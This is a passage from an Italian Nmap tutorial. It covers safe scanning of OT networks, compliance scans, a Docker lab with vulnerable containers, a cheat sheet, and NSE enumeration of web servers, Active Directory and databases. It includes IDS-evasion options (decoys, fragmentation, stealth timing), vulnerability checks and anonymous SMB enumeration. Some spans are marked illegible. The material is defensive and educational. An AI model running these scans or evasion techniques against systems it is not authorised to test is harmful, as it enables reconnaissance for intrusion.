- 2. Mai in produzione senza fermate pianificate:** preferire finestre di manutenzione programmate. Testare prima su un sistema gemello o in laboratorio.
- 3. Timing sempre conservativo:** usare -T1 o -T2. Mai -T3 o superiore su dispositivi OT. Aggiungere sempre --max-rate 30-50.
- 4. Scansionare solo porte note OT:** evitare scansioni full-port (-p-) su PLC e RTU. Le porte alte sconosciute possono avere comportamenti imprevedibili.
- 5. Backup della configurazione:** fare uno snapshot della configurazione di PLC e HMI prima di qualsiasi test.
- 6. Monitoraggio in tempo reale:** avere qualcuno alla console HMI durante la scansione, pronto a fermare il test se si osservano anomalie.
- 7. Documentare tutto:** data, scope, argomenti usati, risultati. Obbligatorio per compliance IEC 62443 e NIS2.

14.4 Comandi Nmap sicuri per reti OT

■ BASH | ot_safe_scan.sh — scansione OT graduale con timing conservativo

```
#!/bin/bash
# ot_safe_scan.sh – Scansione OT sicura e graduale
# REGOLA: sempre -T2, sempre --max-rate basso
# Uso: sudo ./ot_safe_scan.sh 192.168.100.0/24

NETWORK="${1:-192.168.100.0/24}"
OUT="ot_scan_$(date +%Y%m%d)"

echo "[!] ATTENZIONE: scansione rete OT"
echo "[!] Timing: -T2, max-rate: 30 pkts/s"
echo "[!] Premi INVIO per confermare o Ctrl+C per annullare"
read

# Fase 1: host discovery LEGGERO (ARP su LAN, no ICMP aggressivo)
echo "[1/3] Host discovery leggero..."
sudo nmap -sn -T2 --max-rate 20 --send-ip -PE -PS80 --max-retries 1 -oA "${OUT}_discovery" "$NETWORK"

grep "Up" "${OUT}_discovery.gnmap" | awk '{print $2}' > "${OUT}_hosts.txt"
echo "Host trovati: $(wc -l < "${OUT}_hosts.txt")"

# Fase 2: porte OT specifiche SOLO (no full port scan!)
echo "[2/3] Scan porte OT specifiche..."
sudo nmap -sS -T2 --max-rate 30 --max-retries 1 -p 80,102,443,502,1089,2222,4000,4840,20000,44818,4780 --max-retries 1 -oA "${OUT}_ports" "$NETWORK"

# Fase 3: identificazione dispositivi (script leggeri)
echo "[3/3] Identificazione dispositivi..."
sudo nmap -sS -T2 --max-rate 20 -p 102 --script s7-info --max-retries 1 -iL "${OUT}_hosts.txt" -oA "${OUT}_s7" "$NETWORK"

sudo nmap -sS -T2 --max-rate 20 -p 502 --script modbus-discover --max-retries 1 -iL "${OUT}_hosts.txt" -oA "${OUT}_modbus" "$NETWORK"

echo ""
echo "=== RISULTATI OT ==="
echo "Host trovati: $(wc -l < "${OUT}_hosts.txt")"
echo "Con Siemens S7: $(grep -c 'Module type' "${OUT}_s7.nmap" 2>/dev/null || echo 0)"
echo "Con Modbus: $(grep -c 'Slave ID' "${OUT}_modbus.nmap" 2>/dev/null || echo 0)"
echo "Output: ${OUT}*.nmap"
```

14.5 Interpretare i risultati su reti OT

Cosa trovi	Priorità	Azione consigliata
Modbus/TCP (502) aperto	ALTA	Verifica se accessibile da zone IT. Segmentare con firewall. Modbus non ha auth nativa — considerare gateway con autenticazione.
S7 (102) identificato senza auth	ALTA	Aggiornare a S7-300/400 con protezioni attivate. Separare su VLAN dedicata. Monitorare accessi.
Telnet (23) su dispositivo OT	CRITICA	Disabilitare immediatamente. SSH o console seriale fisica.
Web server su HMI/PLC	MEDIA	Verificare credenziali default. Limitare accesso a IP specifici. Aggiornare firmware se vulnerabile.
Windows XP/2003 su workstation SCADA	ALTA	Pianificare migrazione. Nel frattempo: whitelisting applicazioni, isolamento rete, backup frequenti della configurazione.
OPC-UA senza TLS	MEDIA	Abilitare security mode 'SignAndEncrypt'. OPC-UA supporta TLS — configurarlo.
Porte IT aperte su rete OT (445, 3389, 1433)	ALTA	Non dovrebbero esserci. Verificare la segmentazione. Chiudere o bloccare con firewall. Audit accessi.

✓ **BEST PRACTICE** Per reti OT, il monitoraggio passivo (senza inviare pacchetti) è spesso preferibile alla scansione attiva: strumenti come Claroty, Dragos, Nozomi o Zeek analizzano il traffico esistente senza rischi. Nmap è ideale per audit puntuali pianificati, non per monitoraggio continuo.

Fonti: IEC 62443 (Industrial Cybersecurity Standard); CISA ICS-CERT (cisa.gov/ics); ENISA 'Communication network dependencies for IIoT' (enisa.europa.eu); NIST SP 800-82 (Guide to Industrial Control Systems Security); nmap.org/nmapdoc/scripts/s7-info.html; nmap.org/nmapdoc/scripts/modbus-discover.html

15. NMAP E COMPLIANCE

La compliance normativa richiede valutazioni periodiche della postura di sicurezza di un'organizzazione. Nmap, usato sistematicamente e documentato correttamente, copre i requisiti di asset discovery e vulnerability scanning di diversi framework regolamentari.

15.1 Quale standard richiede cosa

Standard	Requisito specifico	Come Nmap soddisfa il requisito
PCI-DSS v4 Req. 11.2	Scansione vulnerabilità trimestrale su tutti i sistemi in scope (CDE)	Port scan + NSE vuln category su tutti gli host in scope. Conservare output XML come evidenza per audit QSA.
PCI-DSS v4 Req. 11.5	Deploy di sistemi di rilevamento intrusioni	Usare Nmap per testare periodicamente l'efficacia dell'IDS/IPS con scan controllate dall'interno.
ISO 27001:2022 A.8.8	Gestione vulnerabilità tecniche: identificare e remediate	Scan periodiche con -sV per rilevare versioni obsolete; correlazione con NVD/CVE per prioritizzare la remediation.
NIS2 (UE) Art. 21	Misure di sicurezza per operatori di servizi essenziali	Asset inventory continuo con python-nmap; monitoraggio cambiamenti con Ndiff.
GDPR Art. 32	Misure tecniche adeguate per la sicurezza dei dati	Verificare che solo i servizi strettamente necessari siano esposti.
CIS Controls v8 Control 7	Gestione vulnerabilità continua: scan almeno mensile	Script periodici con python-nmap; alert automatici su nuovi servizi rilevati.
IEC 62443 (reti OT)	Security assessment delle reti di controllo industriali	Scan con -T2 delle porte OT in finestre di manutenzione; documentazione dell'inventario asset.

15.2 Costruire evidenza per l'audit

Un output Nmap da solo non basta per un auditor: occorre contesto, periodicità e documentazione. Questi elementi trasformano una scan in evidenza di conformità:

■ BASH | compliance_scan.sh — scan documentata con hash SHA256 per evidenza audit

```
#!/bin/bash
# compliance_scan.sh — Scan documentata per compliance
# Produce: XML con evidenza, log firmato, report HTML

TARGET="${1}"
STANDARD="${2:-PCI-DSS}" # o ISO27001, NIS2...
DATE=$(date +%Y-%m-%d)
SCAN_ID="${STANDARD}_${DATE}_${hostname}"
OUT_DIR="/var/log/compliance_scans/${SCAN_ID}"
mkdir -p "$OUT_DIR"

# Log firmato (SHA256 del file per integrità)
echo "=== COMPLIANCE SCAN ===" | tee "${OUT_DIR}/metadata.txt"
echo "Standard:  $STANDARD"      >> "${OUT_DIR}/metadata.txt"
echo "Target:    $TARGET"        >> "${OUT_DIR}/metadata.txt"
echo "Data:      $DATE"          >> "${OUT_DIR}/metadata.txt"
echo "Operatore: $(whoami)@$(hostname)" >> "${OUT_DIR}/metadata.txt"
echo "Comando:   nmap -sS -sV -O -T4 $TARGET" >> "${OUT_DIR}/metadata.txt"

# Scansione con tutti i formati
sudo nmap -sS -sV -O -sC -T4 --reason --min-rate 200 -oA "${OUT_DIR}/scan" "$TARGET"

# Report HTML
xsltproc /usr/share/nmap/nmap.xsl "${OUT_DIR}/scan.xml" -o "${OUT_DIR}/report.html"

# Hash SHA256 per integrità evidenza
sha256sum "${OUT_DIR}/scan.xml" >> "${OUT_DIR}/metadata.txt"
sha256sum "${OUT_DIR}/scan.nmap" >> "${OUT_DIR}/metadata.txt"

# Riepilogo
echo "" | tee -a "${OUT_DIR}/metadata.txt"
echo "Host trovati UP: $(grep -c "Host is up" "${OUT_DIR}/scan.nmap")" | tee -a "${OUT_DIR}/metadata.txt"
echo "Porte aperte: $(grep -c "open" "${OUT_DIR}/scan.gnmap")" | tee -a "${OUT_DIR}/metadata.txt"

echo "[✓] Evidenza salvata in: $OUT_DIR/"
echo "Consegnare all'auditor: scan.xml + metadata.txt + report.html"
```

15.3 Ndiff per il tracking dei cambiamenti

Ndiff: lo strumento di confronto di Nmap

Ndiff confronta due file XML prodotti da Nmap e mostra solo le differenze: host apparsi o spariti, porte aperte o chiuse, versioni cambiate. Per la compliance è prezioso: dimostra che si monitora attivamente la superficie di attacco e si reagisce ai cambiamenti. Il confronto con il baseline mensile è evidenza diretta del requisito CIS Controls 7 e PCI-DSS 11.2.

■ BASH | Workflow con Ndiff: baseline mensile e tracking cambiamenti per compliance

```
# Workflow mensile con Ndiff
```

```
# Mese 1 (baseline iniziale)
```

```
sudo nmap -sV -T4 -oX baseline_gen.xml 192.168.1.0/24
```

```
# Mese 2 (scan di controllo)
```

```
sudo nmap -sV -T4 -oX scan_lug.xml 192.168.1.0/24
```

```
# Confronto: mostra solo differenze
```

```
ndiff baseline_gen.xml scan_lug.xml
```

```
# Output esempio:
```

```
# -192.168.1.50:          # host sparito (macchina spenta o rimossa?)
```

```
# +192.168.1.99:          # nuovo host apparso (autorizzato?)
```

```
# 192.168.1.1:
```

```
# +443/tcp open  https    # nuova porta HTTPS su router (previsto?)
```

```
# -3306/tcp open mysql    # MySQL chiuso (patch applicata!)
```

```
# Salva il diff in un file per l'archivio
```

```
ndiff baseline_gen.xml scan_lug.xml > diff_gen_lug.txt
```

```
# In Python per report automatico
```

```
import subprocess, datetime
```

```
result = subprocess.run(
```

```
    ["ndiff", "baseline.xml", "current.xml"],
```

```
    capture_output=True, text=True
```

```
)
```

```
diff_lines = result.stdout.strip()
```

```
if diff_lines:
```

```
    # Ci sono cambiamenti -> alert o ticket
```

```
    with open(f"diff_{datetime.date.today()}.txt", "w") as f:
```

```
        f.write(diff_lines)
```

```
    print(f"ALERT: {len(diff_lines.splitlines())} righe di diff")
```

```
else:
```

```
    print("OK: nessun cambiamento rilevato")
```

Fonti: PCI Security Standards Council (pci-ssc.com); ISO/IEC 27001:2022 (iso.org); EUR-Lex NIS2 Directive 2022/2555 (eur-lex.europa.eu); CIS Controls v8 (cisecurity.org/controls); IEC 62443 (iec.ch); NIST SP 800-82 (nist.gov)

16. LABORATORIO PRATICO

L'unico modo per padroneggiare davvero Nmap è la pratica su sistemi reali. Questa sezione mostra come costruire ambienti di test sicuri e legali e propone esercizi progressivi con obiettivi di apprendimento chiari.

16.1 Target di test autorizzati

Target	Come accedervi	Tipo di esercizio
scanme.nmap.org (45.33.32.156)	Direttamente da internet — target ufficiale Nmap	Scan base, version detection, OS, NSE. Uso moderato.
Hack The Box	hackthebox.com — registrazione gratuita, VPN	CTF con macchine vulnerabili — ricognizione + exploitation
TryHackMe	tryhackme.com — lab guidati con spiegazioni	Ideale per principianti — percorso Nmap dedicato
VulnHub	vulnhub.com — VM da scaricare	Lab locale — VM vulnerabili da scannerizzare e attaccare
Metasploitable 2/3	rapid7.com — VM scaricabile	VM vulnerabile ufficiale Rapid7 — ottima per testare NSE
Lab Docker locale	docker-compose (vedi sotto)	Rete isolata con più target — massima libertà e controllo

16.2 Lab Docker: rete isolata con target multipli

■ YAML | docker-compose.yml — lab di sicurezza con 4 target isolati

```
# docker-compose.yml — Lab di sicurezza isolato
# Avvio: docker-compose up -d
# Accesso scanner: docker exec -it scanner bash

version: "3.8"

networks:
  lab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.20.0.0/24

services:

  # Il tuo sistema di scansione
  scanner:
    image: kalilinux/kali-rolling
    container_name: scanner
    networks:
      lab:
        ipv4_address: 172.20.0.10
    command: tail -f /dev/null
    cap_add: [NET_ADMIN, NET_RAW]

  # Target 1: server web Apache con PHP
  web:
    image: vulnerables/web-dvwa # DVWA — Damn Vulnerable Web App
    container_name: target_web
    networks:
      lab:
        ipv4_address: 172.20.0.20

  # Target 2: Metasploitable (molti servizi vulnerabili)
  meta:
    image: tleemcjr/metasploitable2
    container_name: target_meta
    networks:
      lab:
        ipv4_address: 172.20.0.30
    tty: true

  # Target 3: MySQL senza password
  db:
    image: mysql:5.7
    container_name: target_db
    networks:
      lab:
        ipv4_address: 172.20.0.40
    environment:
      MYSQL_ALLOW_EMPTY_PASSWORD: "yes"

  # Target 4: Redis senza autenticazione
  cache:
    image: redis:6-alpine
```

```
container_name: target_redis
networks:
  lab:
    ipv4_address: 172.20.0.50
command: redis-server # no --requirepass = no password
```

■ BASH | Esercizi pratici nel lab Docker: dalla discovery alla vulnerability

Setup del lab e primi esercizi

```
# Avvia il lab
```

```
docker-compose up -d
```

```
# Installa Nmap nel container scanner
```

```
docker exec -it scanner bash
```

```
apt update && apt install -y nmap
```

[illegible]

```
# Obiettivo: trovare tutti gli host attivi nella rete lab
```

```
nmap -sn 172.20.0.0/24
```

```
# Domanda: quanti host trovi? Quali IP?
```

[illegible]

Obiettivo: trovare le porte aperte su Metasploitable

```
nmap -sS -T4 172.20.0.30
```

Domanda: quante porte sono aperte? Quali servizi noti?

[illegible]

Obiettivo: identificare versioni dei servizi su Metasploitable

```
nmap -sV -T4 172.20.0.30
```

```
# Domanda: quale versione di vsftpd gira? Quale SSH?
```

Cerca questi su [exploit-db.com](https://www.exploit-db.com) – trovi exploit?

[illegible]

Obiettivo: trovare vulnerabilità con NSE

```
nmap -sV -sC --script ftp-anon 172.20.0.30
```

```
nmap -p 3306 --script mysql-empty-password 172.20.0.40
```

```
nmap -p 6379 --script redis-info 172.20.0.50
```

Domanda: quale di questi tre è vulnerabile?

[illegible]

```
sudo nmap -A -T4 -oA lab_report 172.20.0.0/24
```

```
# Analizza lab_report.nmap - costruisci una lista prioritizzata
```

```
# delle vulnerabilità trovate
```

```
# Ferma il lab quando hai finito
```

```
docker-compose down
```

16.3 Esercizi su scanme.nmap.org

■ **NOTA** scanme.nmap.org è il server di test ufficiale di Nmap. È sempre disponibile e autorizzato per scan moderate. Non usarlo per scan aggressive ripetute o automatizzate.

■ BASH | Esercizi progressivi su scanme.nmap.org: dalla base all'avanzato

Serie di esercizi progressivi su scanme.nmap.org

TARGET="scanme.nmap.org"

Esercizio A — Baseline

nmap \$TARGET

Rispondi: quante porte? Quali servizi? Il target risponde al ping?

Esercizio B — Versioni

nmap -sV \$TARGET

Rispondi: quale server SSH? Quale web server? Qual è la versione?

Esercizio C — OS detection

sudo nmap -O \$TARGET

Rispondi: quale OS rileva Nmap? Quanto è accurato (% accuracy)?

Esercizio D — Full port scan

sudo nmap -p- -T4 --min-rate 1000 \$TARGET

Rispondi: ci sono servizi su porte non standard?

Esercizio E — NSE default

nmap -sC \$TARGET

Rispondi: cosa rivela lo script ssh-hostkey?

L'output HTTP rivela qualcosa di interessante?

Esercizio F — Output e analisi

sudo nmap -A -oA scanme_full \$TARGET

Analizza scanme_full.nmap

Crea un mini-report: host, porte, servizi, OS, note di sicurezza

Confronto: esegui lo stesso scan la settimana dopo

Usa ndiff per vedere se qualcosa è cambiato

Fonti: scanme.nmap.org; hackthebox.com; tryhackme.com; vulnhub.com; hub.docker.com/r/tleemcjr/metasploitable2;
hub.docker.com/r/vulnerables/web-dvwa

17. CHEATSHEET E CONCLUSIONI

17.1 Cheatsheet: comandi per scenario

Scenario	Comando Nmap consigliato
Trovare host attivi in una rete /24	<code>nmap -sn -T4 192.168.1.0/24</code>
Scan rapida top-100 porte	<code>nmap -F 192.168.1.1</code>
Audit standard (top-1000 + versioni)	<code>sudo nmap -sS -sV -T4 192.168.1.1</code>
Scan completa tutte le 65535 porte TCP	<code>sudo nmap -p- -T4 --min-rate 1000 192.168.1.1</code>
UDP: servizi DNS, SNMP, NTP, DHCP	<code>sudo nmap -sU --top-ports 50 192.168.1.1</code>
OS detection + versioni + script default	<code>sudo nmap -A -T4 192.168.1.1</code>
Solo porte aperte (output compatto)	<code>sudo nmap -sS --open 192.168.1.0/24</code>
Verifica EternalBlue (SMB - WannaCry)	<code>sudo nmap -p 445 --script smb-vuln-ms17-010 target</code>
Verifica Heartbleed (OpenSSL)	<code>nmap -p 443 --script ssl-heartbleed target</code>
Verifica SSL/TLS cipher suite	<code>nmap -p 443 --script ssl-enum-ciphers target</code>
Trova FTP anonimi in una rete	<code>nmap -p 21 --script ftp-anon 192.168.1.0/24</code>
Informazioni SNMP (community 'public')	<code>sudo nmap -sU -p 161 --script snmp-info target</code>
Scan stealth lenta (elude IDS di base)	<code>sudo nmap -sS -T1 --scan-delay 2s target</code>
Scan con decoy (oscura l'IP reale)	<code>sudo nmap -D RND:10 -T3 192.168.1.1</code>
Scan con pacchetti frammentati	<code>sudo nmap -f -T3 192.168.1.1</code>
Salva in tutti i formati	<code>sudo nmap -oA audit_\$(date +%Y%m%d) target</code>
Confronta due scan nel tempo	<code>ndiff scan_prima.xml scan_dopo.xml</code>
Converti XML in HTML	<code>xsltproc /usr/share/nmap/nmap.xsl scan.xml -o report.html</code>
Audit OT (PLC/SCADA — timing sicuro)	<code>sudo nmap -sS -T2 --max-rate 30 -p 102,502,4840 target</code>
CTF / Hack The Box (scan completa veloce)	<code>sudo nmap -A -p- -T4 --min-rate 1000 10.10.10.X</code>

17.2 Domande guida per scegliere la tecnica

■ BASH | Domande guida per scegliere comando e tecnica corretti

```
# DOMANDA 1: Hai root/admin?
# SI → usa -sS (SYN scan) – veloce, meno tracce nei log
# NO → usa -sT (TCP Connect) – funziona senza privilegi

# DOMANDA 2: Il target risponde al ping?
# SI → scan normale
# NO → aggiungi -Pn (salta discovery, tratta come up)

# DOMANDA 3: Quante porte?
# Panoramica veloce → -F (top 100)
# Audit standard → default (top 1000)
# Audit completo → -p- (tutte 65535, lento)

# DOMANDA 4: Serve sapere versioni/OS?
# SI → aggiungi -sV (versioni) e/o -O (OS)
# -A fa tutto: -sV -O -sC --traceroute

# DOMANDA 5: C'è un IDS/firewall da considerare?
# Reti monitorate → -T2 + --scan-delay 1s
# Evasione base → -D RND:10 (decoy) + -f (frammentazione)
# Massima discrezione → -T1 + --scan-delay 5s + -sS

# DOMANDA 6: Rete OT/ICS industriale?
# → SEMPRE -T2 + --max-rate 30-50
# → Solo porte OT note (102, 502, 4840, 20000, 44818, 47808)
# → MAI -T3 o superiore su PLC/RTU
# → Coordinare con responsabile OT prima di qualsiasi scan

# DOMANDA 7: Hai bisogno di evidenza per compliance?
# → -oA basename (salva tutti i formati)
# → Aggiungi hash SHA256 per integrità
# → Documenta data, scope, operatore, obiettivo
```

17.3 Nmap vs altri scanner: quando usare cosa

Tool	Punti di forza	Quando preferirlo a Nmap
Nmap	Versatile, scriptabile, NSE, OS detection, standard industria	Quasi sempre — è il punto di partenza universale
Masscan	10M+ pacchetti/sec — scoperta su scala internet	Scan iniziale su range molto grandi (>1000 host). Poi usare Nmap sui risultati per approfondire.
Rustscan	Molto veloce su full port scan (tutti 65535 in <1 min)	CTF e lab dove velocità è più importante di accuratezza. Spesso usato come pre-scanner prima di Nmap.
Nessus / OpenVAS	Database CVE enorme, report compliance strutturati	Vulnerability assessment professionale dopo la scoperta con Nmap. Nessus è più accurato di NSE per rilevamento vulnerabilità.
Nikto	Specializzato in web application scanning HTTP/HTTPS	Dopo aver trovato web server con Nmap, Nikto approfondisce la superficie HTTP.
Shodan	Cerca device esposti su internet senza scannarli tu	Ricognizione passiva iniziale su target internet-facing. Complementa, non sostituisce, Nmap.

17.4 Il percorso di apprendimento consigliato

Livello 1 — Principiante

Installa Nmap. Fai pratica su localhost e su scanme.nmap.org. Impara a leggere l'output. Comprendi SYN scan, version detection, output XML.

Risorse: [TryHackMe 'Nmap' room](#); nmap.org/book Cap. 1-4

Livello 2 — Intermedio

Costruisci un lab Docker con macchine vulnerabili. Sperimenta NSE, OS detection, UDP scan. Scrivi il tuo primo script bash di automazione.

Risorse: [VulnHub](#); [Metasploitable](#); nmap.org/book Cap. 5-9

Livello 3 — Avanzato

Registrati su Hack The Box. Integra Nmap con Python ([python-nmap](#)). Studia l'evasione e la difesa. Scrivi script NSE personalizzati in Lua.

Risorse: [Hack The Box](#); nmap.org/book/nse.html; lua.org

Livello 4 — Professionale

Ottieni certificazioni (CEH, OSCP, eJPT). Usa Nmap in veri penetration test autorizzati. Contribuisci con nuovi script NSE alla community.

Risorse: [Offensive Security \(oscp\)](#); [eLearnSecurity](#); github.com/nmap/nmap

17.5 Conclusioni

Nmap è uno strumento straordinario — non perché sia complicato, ma perché riflette la complessità reale delle reti su cui opera. Ogni opzione ha una ragione tecnica precisa che affonda le radici nei protocolli TCP/IP progettati cinquant'anni fa. Capire il perché dietro ogni flag rende molto più efficace l'uso dello strumento.

Per i professionisti delle reti industriali e dell'automazione, Nmap rappresenta un ponte tra il mondo IT e il mondo OT: uno strumento standardizzato, ben documentato e scriptabile che permette di costruire procedure di audit riproducibili e conformi alle normative (IEC 62443, NIS2, ISO 27001). Con la dovuta cautela sul timing e sulla coordinazione con i team OT, è lo strumento di asset discovery più affidabile disponibile.

La regola fondamentale non cambia mai: usare Nmap solo su sistemi propri o con autorizzazione scritta esplicita. La conoscenza di questi strumenti è un vantaggio competitivo per chi protegge le infrastrutture — e una responsabilità da esercitare con rigore professionale.

"Il miglior firewall del mondo non serve a niente se non sai cosa sta proteggendo. Scansiona la tua rete prima che lo faccia qualcun altro."

Fonti: Fyodor Vaskovich 'Nmap Network Scanning' (nmap.org/book); nmap.org; nvd.nist.gov; owasp.org; hackthebox.com; tryhackme.com; cisa.gov/ics; iec.ch (IEC 62443)

18. NSE AVANZATO E SCENARI REALI

Questa sezione approfondisce l'uso di NSE in scenari reali di security assessment, mostrando combinazioni di script, tecniche di correlazione dei risultati e workflow tipici di un professionista della sicurezza.

18.1 Ricognizione web sistematica

La ricognizione di un'applicazione web è una delle attività più comuni in un penetration test. Nmap, con i giusti script NSE, può rivelare informazioni preziose prima ancora di aprire un browser:

■ BASH | Ricognizione web sistematica in 10 step con NSE

```
# STEP 1 – Scopri porte web attive
sudo nmap -sS -p 80,443,8080,8443,8888,9000,9090,3000,4000,5000 --open -T4 target

# STEP 2 – Titoli e tecnologie
nmap -p 80,443 --script http-title,http-server-header,http-headers target
# http-server-header: rivela nginx/Apache e versione
# http-title: rivela l'applicazione (WordPress, Jira, GitLab...)

# STEP 3 – Directory e file sensibili
nmap -p 80,443 --script http-enum target
# Testa automaticamente /admin/, /wp-admin/, /.git/,
# /backup/, /phpmyadmin/, /.env, /config.php, ecc.

# STEP 4 – Verifica esposizione .git
nmap -p 80 --script http-git target
# Un repository .git esposto permette di scaricare il codice sorgente!

# STEP 5 – Informazioni PHP
nmap -p 80 --script http-php-version target

# STEP 6 – Metodi HTTP permessi (PUT/DELETE pericolosi)
nmap -p 80,443 --script http-methods --script-args http-methods.url-path=/api/ target

# STEP 7 – WebDAV (spesso abilitato per errore)
nmap -p 80,443 --script http-webdav-scan target

# STEP 8 – Robots.txt (rivela percorsi nascosti)
nmap -p 80,443 --script http-robots.txt target

# STEP 9 – WAF (Web Application Firewall)
nmap -p 80,443 --script http-waf-detect,http-waf-fingerprint target

# STEP 10 – Tutte le vulnerabilità HTTP note (lento ma completo)
nmap -p 80,443 --script "http-vuln-*" target
```

18.2 Enumerazione Active Directory

In ambienti enterprise con Active Directory, Nmap può raccogliere informazioni preziose senza autenticazione grazie a protocolli come NetBIOS, SMB e LDAP:

Informazione	Script NSE	Porta
Nome computer e dominio Windows	smb-os-discovery	445/TCP
Condivisioni SMB accessibili	smb-enum-shares	445/TCP
Utenti di dominio (se permesso)	smb-enum-users	445/TCP
Policy di sicurezza SMB	smb-security-mode	445/TCP
Informazioni NetBIOS (WINS)	nbstat	137/UDP
Root DSE LDAP (info dominio)	ldap-rootdse	389/TCP

Informazione	Script NSE	Porta
Algoritmi Kerberos supportati	krb5-enum-users	88/TCP
Sessioni attive (richiede auth)	smb-enum-sessions	445/TCP

■ BASH | Enumerazione Active Directory con NSE: SMB, LDAP, DNS

Enumerazione base AD (senza credenziali)

```
nmap -p 445 --script smb-os-discovery target_dc
```

Rivela: Computer name, NetBIOS name, Domain, Forest, FQDN

Sicurezza SMB: message signing obbligatorio?

```
nmap -p 445 --script smb-security-mode target_dc
```

Se signing non obbligatorio: vulnerabile a relay attacks (Responder)

Condivisioni SMB: quali sono accessibili senza credenziali?

```
nmap -p 445 --script smb-enum-shares --script-args smbusername=guest,smbpassword="" target_dc
```

LDAP: informazioni sul dominio dal Root DSE

```
nmap -p 389 --script ldap-rootdse target_dc
```

Rivela: defaultNamingContext, domainControllerFunctionality, ecc.

Vulnerabilità SMB critiche

```
nmap -p 445 --script smb-vuln-ms17-010,smb-vuln-ms08-067 target_dc
```

DNS zone transfer (se configurato male, espone tutta la topologia)

```
nmap -p 53 --script dns-zone-transfer --script-args dns-zone-transfer.domain=corp.example.com
```

18.3 Audit completo di un database server

I database server sono spesso i target più critici: contengono dati sensibili e sono spesso mal configurati.

Nmap può identificare problemi di sicurezza comuni prima ancora di avere credenziali:

■ BASH | Audit database: MySQL, MSSQL, MongoDB, Redis, Elasticsearch

[illegible]

18.4 Scenario reale: audit di un'azienda manifatturiera

Questo scenario descrive un tipico engagement di security assessment in un'azienda manifatturiera con rete IT/OT convergente, mostrando come Nmap viene usato nelle diverse fasi:

Fase	Attività	Comandi Nmap	Risultati tipici
1 — Riconoscimento	Mappa la topologia della rete	<code>nmap -sn -PE -PS22,80 10.0.0.0/16</code>	700 host attivi su 65536 IP — segmentazione chiara
2 — Port scan IT	Identifica servizi sulla rete office	<code>nmap -sS -T4 --top-ports 1000 10.0.1.0/24</code>	Server web, RDP, SMB, database esposti
3 — Port scan OT	Identifica device su rete industriale	<code>nmap -sS -T2 --max-rate 30 -p 102,502,4840 10.0.100.0/24</code>	12 PLC Siemens S7, 3 gateway Modbus, 1 server OPC-UA
4 — Version detection	Identifica versioni software	<code>nmap -sV -T4 10.0.1.0/24</code>	Windows Server 2008 con SMBv1 abilitato — CVE-2017-0144
5 — Vulnerability scan	Verifica vulnerabilità note	<code>nmap -p 445 --script smb-vuln-ms17-010 10.0.1.0/24</code>	3 server vulnerabili a EternalBlue
6 — Segmentazione	Verifica isolamento IT/OT	<code>nmap -sS 10.0.100.0/24 (da rete IT)</code>	PROBLEMA: 8 PLC raggiungibili dalla rete IT — segmentazione assente
7 — Remediation	Verifica post-patch	<code>ndiff pre_scan.xml post_scan.xml</code>	3 server EternalBlue patchati; firewall OT aggiunto

✓ **BEST PRACTICE** La scoperta più critica in questo scenario (rete OT raggiungibile dalla rete IT) è stata trovata semplicemente eseguendo una scan dalla rete sbagliata. La segmentazione di rete è il controllo di sicurezza più importante nelle reti industriali: verifica sempre che le zone siano davvero isolate.

Fonti: nmap.org/nsedoc/ (tutti gli script NSE); exploit-db.com; nvd.nist.gov; PTES (Penetration Testing Execution Standard — pentest-standard.org); OWASP Testing Guide (owasp.org/www-project-web-security-testing-guide/)

19. TABELLE DI CONFRONTO E RIEPILOGO FINALE

19.1 Confronto completo tecniche di scansione

Tecnica	Opzione	Root?	Velocità	Lascia log?	Funz. su Win?	Elude firewall?	Uso consigliato
SYN scan	-sS	Sì	Alta	Raramente	Sì	Parziale	Default — uso generale
Connect scan	-sT	No	Media	Sì	Sì	No	Senza root / via proxy
UDP scan	-sU	Sì	Bassa	No	Sì	Parziale	DNS, SNMP, DHCP, NTP
FIN scan	-sF	Sì	Alta	No	No	Sì (stateless FW)	Sistemi Linux/Unix
NULL scan	-sN	Sì	Alta	No	No	Sì (stateless FW)	Sistemi Linux/Unix
XMAS scan	-sX	Sì	Alta	No	No	Sì (stateless FW)	Sistemi Linux/Unix
ACK scan	-sA	Sì	Alta	No	Parziale	—	Mappa regole firewall
Idle scan	-sI	Sì	Bassa	No	Sì	Sì (totale)	Scansione anonima
Maimon scan	-sM	Sì	Alta	No	No	Parziale	Sistemi BSD

19.2 Script NSE per protocollo: mappa completa

Protocollo	Porta	Script NSE chiave	Cosa rivela
HTTP	80	http-title, http-enum, http-headers, http-methods	Applicazione, directory nascoste, tecnologie, metodi pericolosi
HTTPS	443	ssl-cert, ssl-enum-ciphers, ssl-heartbleed, ssl-dh-params	Certificato, cipher deboli, vulnerabilità TLS
SSH	22	ssh-hostkey, ssh2-enum-algos, ssh-auth-methods	Host key, algoritmi supportati, metodi di autenticazione
FTP	21	ftp-anon, ftp-bounce, ftp-syst	Accesso anonimo, bounce scan, tipo server
SMB	445	smb-os-discovery, smb-enum-shares, smb-vuln-ms17-010	OS Windows, condivisioni, vulnerabilità EternalBlue
SNMP	161/UDP	snmp-info, snmp-sysdescr, snmp-interfaces	Informazioni sistema, descrizione, interfacce di rete
DNS	53	dns-zone-transfer, dns-brute, dns-recursion	Zone transfer, sottodomini, recursion aperta
LDAP	389	ldap-rootdse, ldap-search	Info dominio AD, anonymous bind
MySQL	3306	mysql-info, mysql-empty-password, mysql-databases	Versione, accesso senza password, lista database
RDP	3389	rdp-enum-encryption, rdp-vuln-ms12-020	Livello cifratura, NLA attiva, vulnerabilità
Redis	6379	redis-info	Accesso senza auth, versione, configurazione
MongoDB	27017	mongodb-info, mongodb-databases	Accesso anonimo, lista database
Modbus	502	modbus-discover	Slave ID, tipo dispositivo OT
Siemens S7	102	s7-info	Modello PLC, versione firmware, stato CPU
OPC-UA	4840	opc-ua-discovery	Server OPC-UA, security mode, endpoint
BACnet	47808/UDP	bacnet-info	Informazioni building automation controller

19.3 Tempistiche di scansione: guida pratica

Scenario	Rete	Comando	Tempo stimato
Host discovery /24	LAN 1Gbps	<code>nmap -sn -T4 192.168.1.0/24</code>	2-5 secondi
Top-1000 TCP su 1 host	LAN	<code>nmap -sS -T4 192.168.1.1</code>	5-15 secondi
Top-1000 TCP su /24	LAN 1Gbps	<code>nmap -sS -T4 192.168.1.0/24</code>	1-3 minuti
Full TCP (65535 porte) su 1 host	LAN	<code>nmap -p- -T4 --min-rate 1000 host</code>	2-5 minuti
Full TCP su /24	LAN 1Gbps	<code>nmap -p- -T4 --min-rate 2000 192.168.1.0/24</code>	30-60 minuti
UDP top-100 su 1 host	LAN	<code>nmap -sU --top-ports 100 host</code>	5-15 minuti
Version + OS su 1 host	LAN	<code>nmap -sV -O -T4 host</code>	30-90 secondi
